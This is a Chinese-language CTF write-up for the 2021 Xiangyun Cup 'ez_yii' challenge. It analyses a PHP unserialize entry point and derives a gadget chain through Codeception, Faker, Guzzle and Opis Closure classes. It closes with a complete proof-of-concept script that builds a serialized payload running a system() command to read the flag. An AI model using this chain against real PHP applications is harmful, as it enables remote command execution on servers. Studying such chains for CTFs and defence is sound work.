PHP反序列化-[祥云杯2021 ez_yii]

First Post:

Last Update:

Word Count:
1.2k

Read Time:
7 min

ez_yii [祥云杯2021]

Analyze

先上题

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("closure/autoload.php");
function myloader($class){
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("myloader");
error_reporting(0);
if($_POST['data']){
unserialize(base64_decode($_POST['data']));
}else{
echo "<h1>某ii最新的某条链子</h1>";
}

autoload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
/* ===========================================================================
* Copyright (c) 2018-2019 Zindex Software
*
* Licensed under the MIT License
* =========================================================================== */

require_once 'functions.php';

spl_autoload_register(function($class){

$class = ltrim($class, '\\');
$dir = __DIR__ . '/src';
$namespace = 'Opis\Closure';

if(strpos($class, $namespace) === 0)
{
$class = substr($class, strlen($namespace));
$path = '';
if(($pos = strripos($class, '\\')) !== FALSE)
{
$path = str_replace('\\', '/', substr($class, 0, $pos)) . '/';
$class = substr($class, $pos + 1);
}
$path .= str_replace('_', '/', $class) . '.php';
$dir .= '/' . $path;

if(file_exists($dir))
{
include $dir;
return true;
}

return false;
}

return false;

});

functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
/* ===========================================================================
* Copyright (c) 2018-2019 Zindex Software
*
* Licensed under the MIT License
* =========================================================================== */

namespace Opis\Closure;

/**
* Serialize
*
* @param mixed $data
* @return string
*/
function serialize($data)
{
SerializableClosure::enterContext();
SerializableClosure::wrapClosures($data);
$data = \serialize($data);
SerializableClosure::exitContext();
return $data;
}

/**
* Unserialize
*
* @param string $data
* @param array|null $options
* @return mixed
*/
function unserialize($data, array $options = null)
{
SerializableClosure::enterContext();
$data = ($options === null || \PHP_MAJOR_VERSION < 7)
? \unserialize($data)
: \unserialize($data, $options);
SerializableClosure::unwrapClosures($data);
SerializableClosure::exitContext();
return $data;
}

RunProcess.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php


namespace Codeception\Extension;


class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];

protected static $events = [];

private $processes = [];
public function __destruct()#1
{
$this->stopProcess();
}

public function stopProcess()#2
{
foreach (array_reverse($this->processes) as $process) {

if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}

DefaultGenerator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


namespace Faker;


class DefaultGenerator
{
protected $default;
public function __call($method, $attributes)
{
echo "def";
return $this->default;
}
}

AppendStream.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php


namespace GuzzleHttp\Psr7;


class AppendStream
{
private $streams = [];#-7
private $seekable = true;
public function __toString()
{
$this->rewind();
return "hahaha";
}
public function rewind()
{
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET)
{
echo"4";
if (!$this->seekable) {
throw new \RuntimeException('This AppendStream is not seekable');
} elseif ($whence !== SEEK_SET) {
throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
}

$this->pos = $this->current = 0;

// Rewind each stream
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();#-6
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}
}
}

CachingStream.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php


namespace GuzzleHttp\Psr7;


class CachingStream
{
private $remoteStream;
private $skipReadBytes = 0;
public function rewind()#-5
{
$this->seek(0);
}

public function seek($offset)#-4
{
$byte = $offset;

$diff = $byte - $this->stream->getSize();

if ($diff > 0) {
// Read the remoteStream until we have read in at least the amount
// of bytes requested, or we reach the end of the file.
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
// We can just do a normal seek since we've already seen this byte.
$this->stream->seek($byte);
}
}

public function read($length)
{
// Perform a regular read on any previously read data from the buffer
$data = $this->stream->read($length);
$remaining = $length - strlen($data);

// More data was requested so read from the remote stream
if ($remaining) {
// If data was written to the buffer in a position that would have
// been filled from the remote stream, then we must skip bytes on
// the remote stream to emulate overwriting bytes from that
// position. This mimics the behavior of other PHP stream wrappers.
$remoteData = $this->remoteStream->read(#-3
$remaining + $this->skipReadBytes
);

if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}

$data .= $remoteData;
$this->stream->write($remoteData);
}

return $data;
}
}

PumpStream.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php


namespace GuzzleHttp\Psr7;


class PumpStream
{
private $source;

private $size;

private $tellPos = 0;

private $metadata;


private $buffer;

public function getSize()
{
return $this->size;
}
public function read($length)#-2
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;

if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}

return $data;
}
private function pump($length)#-1
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}

这次的代码比较多,需要进行一点点剖析

进行逆向分析:

首先观察到在PumpStream.php中存在函数call_user_func(),可以考虑利用,往上逐个观察,函数call_user_func()在函数pump()中,再次往上,函数read()if($remaining)的条件下会调用函数pump()

全局搜索函数read(),在CachingStream.php中找到了同名函数read(),可以将其作为跳板,而在函数seek()中,调用了函数read(),又在函数rewind()中被调用

再次全局搜索函数rewind(),在AppendStream.php中找到了同名函数rewind(),又可以作为跳板

进行正向分析:

RunProcess.php中,函数__destruct()调用了函数stopProcess(),可以联想到使用函数__call(),发现在DefaultGenerator.php中,发现还需要一个函数__toString(),可以在AppendStream.php中找到

正向逆向分析完成,可以得到如下POP链

1
2
3
4
5
// RunProcess->__destruct()->stopProcess()
// ->DefaultGenerator->__call()
// ->AppendStream->__toString()->rewind()->seek()
// ->CachingStream->rewind()->seek()->read()
// ->PumpStream->read()->pump()->call_user_func()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php 

// RunProcess->__destruct()->stopProcess()
// ->DefaultGenerator->__call()
// ->AppendStream->__toString()->rewind()->seek()
// ->CachingStream->rewind()->seek()->read()
// ->PumpStream->read()->pump()->call_user_func()

namespace Codeception\Extension
{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
use GuzzleHttp\Psr7\CachingStream;
use GuzzleHttp\Psr7\PumpStream;

class RunProcess
{
protected $output;
private $processes = ['aaa'=>1];
public function __construct($def=0)
{
echo "runprocess~~~~~~~~~~~~~~~~~~";
$this->output=$def;
$this->processes['aaa']=$def;

}
}

$pum=new PumpStream;
$cac=new CachingStream($pum);
$app=new AppendStream($cac);
$def=new DefaultGenerator($app);
$run=new RunProcess($def);
$payload = serialize($run);
echo base64_encode($payload);
}

namespace Faker
{
use GuzzleHttp\Psr7\AppendStream;
use GuzzleHttp\Psr7\CachingStream;
class DefaultGenerator
{
protected $default;

public function __construct($app=0)
{
echo "faker~~~~~~~~~~~~~~~~~~";
$this->default = $app;
}
}
}

namespace GuzzleHttp\Psr7
{
class AppendStream
{
private $streams=[];
public function __construct($cac=0)
{
echo "appengstream~~~~~~~~~~~~~~~~~~";
$this->streams[]=$cac;
}
}
}

namespace GuzzleHttp\Psr7
{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\PumpStream as Psr7PumpStream;
class CachingStream
{
private $remoteStream;
public function __construct($pum=0)
{
echo "cachingstream~~~~~~~~~~~~~~~~~~";
$this->stream=$pum;
$this->remoteStream=new DefaultGenerator(NULL);
}
}
class PumpStream
{
private $source;
private $size;
private $tellPos = 0;
private $metadata;
private $buffer;
public function __construct()
{
echo "pumpstream~~~~~~~~~~~~~~~~~~";
include("closure/autoload.php");
$this->size=-1;
$def=new DefaultGenerator('aaaaaa');
$this->buffer=new CachingStream($def);
$fun=function()
{
system("cd / && cat flag");
};
$f=(\Opis\Closure\serialize($fun));
$this->source=unserialize($f);
}
}
}

反序列化后对data进行POST传参即可得到flag

reward
Alipay
Wechat